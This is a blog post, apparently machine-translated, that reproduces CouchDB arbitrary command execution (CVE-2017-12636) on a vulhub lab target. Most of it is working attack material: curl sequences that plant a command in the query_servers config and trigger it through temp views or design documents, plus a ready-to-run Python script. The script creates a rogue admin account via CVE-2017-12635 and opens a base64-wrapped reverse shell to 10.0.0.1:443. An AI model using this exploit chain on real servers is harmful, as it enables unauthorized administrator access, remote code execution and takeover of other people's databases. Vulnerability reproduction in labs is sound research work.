Couchdb arbitrary command execution vulnerability (CVE-2017-12636)

Posted by uwannadonkey on Tue, 08 Feb 2022 16:17:02 +0100

Vulnerability background

Apache CouchDB is an open source database focused on ease of use and becoming a "fully web embracing database". It is a NoSQL database using JSON as storage format, JavaScript as query language, MapReduce and HTTP as API s. It is widely used, such as the BBC's dynamic content display platform, Credit Suisse's market framework for its internal commodity department and Meebo's social platform (web and Applications).
On November 15, 2017, CVE-2017-12635 and CVE-2017-12636 disclosed that CVE-2017-12636 is an arbitrary command execution vulnerability. We can modify couchdb's configuration query through config api_ This configuration item will be executed when the server and view are running.

Scope of influence

Less than 1.7.0 and less than 2.1.1

Loophole recurrence

The vulnerability is a user who needs to log in as an administrator and can be exploited CVE-2017-12635 First add an administrator user.
I use vulhub's target machine, version 1.6.0. This vulnerability has some differences in the utilization methods of versions 1 and 2. Separately, if we want to open version 2 testing, we can open vulhub's CVE-2017-12635 environment

Description under 1.6.0

Executing the following requests in sequence can trigger the execution of any command:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/_config/query_servers/cmd' -d '"id >/tmp/success"'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http://vulhub:vulhub@your-ip:5984/vultest/_temp_view?limit=10' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

Where vulhub:vulhub is the account password

Description under 2.1.0

This target is vulhub's CVE-2017-12635
Couchdb 2.x introduces clustering, so the node name needs to be added to modify the configured API. In fact, this is also simple. We bring our account and password to visit/_ membership:

curl http://vulhub:vulhub@your-ip:5984/_membership


It can be seen that there is only one node here. The name is nonode@nohost .
Then we modify nonode@nohost Configuration of:

curl -X PUT http://vulhub:vulhub@your-ip:5984/_node/nonode@nohost/_config/query_servers/cmd -d '"id >/tmp/success"'

Then, in the same way as the use of 1.6.0, we first add a Database and a Document:

curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest'
curl -X PUT 'http://vulhub:vulhub@your-ip:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'

Couchdb 2.x deleted_ temp_view, so in order to trigger query_ The command defined in servers needs to be added_ view:

curl -X PUT http://vulhub:vulhub@your-ip:5984/vultest/_design/vul -d '{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}' -H "Content-Type: application/json"

Increase_ view triggers query at the same time_ Commands in servers.

Using script (Wuhu!)

If you don't understand the above steps and won't modify them, it's simple. Here's a universal script. Even the steps of creating an administrator account can help you complete it!
Modify the target and command to your test machine, and then modify the version to the corresponding Couchdb Version (1 or 2)

#!/usr/bin/env python3
import requests
import json
import base64
from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'
command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""
version = 1

session = requests.session()
session.headers = {
    'Content-Type': 'application/json'
}
# session.proxies = {
#     'http': 'http://127.0.0.1:8085'
# }
session.put(target + '/_users/org.couchdb.user:wooyun', data='''{
  "type": "user",
  "name": "wooyun",
  "roles": ["_admin"],
  "roles": [],
  "password": "wooyun"
}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" % base64.b64encode(command).decode()
if version == 1:
    session.put(target + ('/_config/query_servers/cmd'), data=json.dumps(command))
else:
    host = session.get(target + '/_membership').json()['all_nodes'][0]
    session.put(target + '/_node/{}/_config/query_servers/cmd'.format(host), data=json.dumps(command))

session.put(target + '/wooyun')
session.put(target + '/wooyun/test', data='{"_id": "wooyuntest"}')

if version == 1:
    session.post(target + '/wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}')
else:
    session.put(target + '/wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')

Remember to run with Python 3

Topics: security